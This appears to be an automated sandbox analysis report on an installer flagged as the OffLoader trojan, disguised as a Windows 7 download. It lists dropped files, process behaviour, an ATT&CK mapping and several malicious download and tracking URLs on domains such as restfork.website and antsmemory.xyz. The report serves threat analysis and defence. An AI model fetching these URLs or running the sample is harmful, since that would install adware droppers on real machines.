Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Automated click: Next >

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Static file information: File size 1672117 > 1048576

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: nsrED96.tmp.2.dr, winrar-x64-623.exe.2.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: nsrED96.tmp.2.dr, winrar-x64-623.exe.2.dr

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Code function: 2_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00405E88

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Static PE information: section name: .didata
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp.0.dr	Static PE information: section name: .didata
Source: is-4F7CE.tmp.1.dr	Static PE information: section name: .didata
Source: winrar-x64-623.exe.2.dr	Static PE information: section name: .didat
Source: winrar-x64-623.exe.2.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Windows\is-4F7CE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	File created: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File created: C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-R68UJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-1S2IB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File created: C:\winrar-x64-623.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Windows\is-4F7CE.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	File created: C:\Windows\unins000.exe (copy)			Jump to dropped file

Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Dropped PE file which has not been started: C:\Windows\is-4F7CE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Dropped PE file which has not been started: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Dropped PE file which has not been started: C:\winrar-x64-623.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_00405E61 FindFirstFileA,FindClose,	2_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_0040263E FindFirstFileA,	2_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.000000000059D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_2-3562
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_2-3560

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Code function: 2_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00405E88

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Queries volume information: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Code function: 2_2_00405B88 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

2_2_00405B88

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	1 Process Injection	21 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	13 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	2 System Owner/User Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	14 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	13 System Information Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	37%	ReversingLabs	Win32.Trojan.OffLoader
81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	48%	Virustotal		Browse
81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\winrar-x64-623.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll	5%	ReversingLabs
C:\winrar-x64-623.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
restfork.website	10%	Virustotal	Browse
beadhouse.xyz	0%	Virustotal	Browse
antsmemory.xyz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.remobjects.com/ps	0%	URL Reputation	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2682&dn=415&spot=4	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2682&dn=244&spot=3&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658q	0%	Avira URL Cloud	safe
http://windactivity.online/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2682&dn=419&spot=2&t=1	0%	Avira URL Cloud	safe
http://restfork.website/4	100%	Avira URL Cloud	malware
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658s	0%	Avira URL Cloud	safe
https://digitalpulsedata.com/tos	100%	Avira URL Cloud	malware
http://beadhouse.xyz/api_pedl.php?spot=5&a=2682&on=424&o=1664	0%	Avira URL Cloud	safe
http://restfork.website/4	1%	Virustotal		Browse
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624tv	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658l	0%	Avira URL Cloud	safe
https://digitalpulsedata.com/tos	9%	Virustotal		Browse
http://sto.farmscene.website/track_polos.php?tim=1705852624&rcc=US&c=2682&p=0.9	0%	Avira URL Cloud	safe
http://antsmemory.xyz:80/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIE	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/api_pedl.php?spot=2&a=2682&on=419&o=1661	0%	Avira URL Cloud	safe
http://restfork.website/	100%	Avira URL Cloud	malware
http://restfork.website/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dub	100%	Avira URL Cloud	malware
https://destructionheat.site/tracker/thank_you.php?trk=2682	100%	Avira URL Cloud	malware
http://restfork.website/	10%	Virustotal		Browse
http://restfork.website/boa.php	100%	Avira URL Cloud	malware
http://sto.farmscene.website/track_uki.php?tim=1705852624&rcc=US&c=2682&p=0.92http://beadhouse.xyz/a	0%	Avira URL Cloud	safe
http://antsmemory.xyz/2	100%	Avira URL Cloud	phishing
https://destructionheat.site/tracker/thank_you.php?trk=2682	3%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2682&dn=244&spot=3&	0%	Avira URL Cloud	safe
http://restfork.website/boa.php	7%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2682&dn=415&spot=4&t=1705852624	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2682&dn=415&spot=4&t=17058	0%	Avira URL Cloud	safe
https://www.pcmaintainer.com/eula	100%	Avira URL Cloud	malware
http://antsmemory.xyz/2	0%	Virustotal		Browse
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_polos.php?tim=1705852624&rcc=US&c=2682&p=0.9Inno	0%	Avira URL Cloud	safe
https://www.pcmaintainer.com/eula	1%	Virustotal		Browse
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658682&dn=244&spot=3&t=1705852624	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=1657S	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2682&dn=415&spot=4&t=1	0%	Avira URL Cloud	safe
https://www.innosetup.com/	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2682&dn=420&spot=1	0%	Avira URL Cloud	safe
https://beadhouse.xyz/	0%	Avira URL Cloud	safe
https://www.innosetup.com/	2%	Virustotal		Browse
http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=1657	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2682&dn=415&spot=4&t=17	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624InnoDownloadPlugin/1.5/USERAGENT/silentget1023	0%	Avira URL Cloud	safe
https://beadhouse.xyz/	0%	Virustotal		Browse
http://beadhouse.xyz/api_pedl.php?spot=3&a=2682&on=244&o=331	0%	Avira URL Cloud	safe
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVka	100%	Avira URL Cloud	phishing
http://antsmemory.xyz/	100%	Avira URL Cloud	phishing
https://advancedmanager.io/eula	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=16587	0%	Avira URL Cloud	safe
http://antsmemory.xyz/	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2682&dn=424&spot=5&t=1705852624	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2682&dn=416&spot=6&t=1	0%	Avira URL Cloud	safe
http://restfork.website/l	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2682&dn=420&spot=1&t=1705852624	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6&t=1705852624	0%	Avira URL Cloud	safe
https://advancedmanager.io/eula	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2682&dn=244&spot=3&t=170	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2682&dn=420&spot=1&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=16576	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658	0%	Avira URL Cloud	safe
https://advancedmanager.io/privacy-policy	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2682&dn=419&spot=2&t=1705852624	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_uki.php?tim=1705852624&rcc=US&c=2682&p=0.92	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2682&dn=244&spot=3&t=170585	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2682&dn=244&spot=3&t=1705852624	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2682&dn=424&spot=5&t=1	0%	Avira URL Cloud	safe
http://antsmemory.xyz/n	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/api_pedl.php?spot=1&a=2682&on=420&o=1662&	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2682&dn=419&spot=2&t=17058	0%	Avira URL Cloud	safe
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625	100%	Avira URL Cloud	phishing
http://restfork.website/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ==&sub=&ps=657855dd328a1	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2682&dn=419&spot=2&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2682&dn=420&spot=1&t=17058	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2682&dn=424&spot=5&t=17058	0%	Avira URL Cloud	safe
http://www.thedownloadplanet.com/termsofuse	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=1&a=2682&on=420&o=1662	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2682&dn=416&spot=6&t=17058	0%	Avira URL Cloud	safe
http://www.pcmaintainer.com/privacy	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2682&dn=419&spot=2	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2682&dn=416&spot=6&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2682&on=416&o=1658g	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=2&a=2682&on=419&o=1661b	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=5&a=2682&on=424&o=16647	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=3&a=2682&on=244&o=331mp	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2682&dn=420&spot=1&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2682&dn=424&spot=5&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2682&dn=424&spot=5	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624P	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
restfork.website	104.21.61.51	true	true	10%, Virustotal, Browse	unknown
beadhouse.xyz	104.21.38.59	true	true	0%, Virustotal, Browse	unknown
antsmemory.xyz	104.21.23.90	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://beadhouse.xyz/api_pedl.php?spot=5&a=2682&on=424&o=1664	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=2&a=2682&on=419&o=1661	true	Avira URL Cloud: safe	unknown
http://restfork.website/boa.php	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2682&dn=415&spot=4&t=1705852624	true	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2682&on=415&o=1657	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=3&a=2682&on=244&o=331	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2682&dn=424&spot=5&t=1705852624	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2682&dn=420&spot=1&t=1705852624	true	Avira URL Cloud: safe	unknown
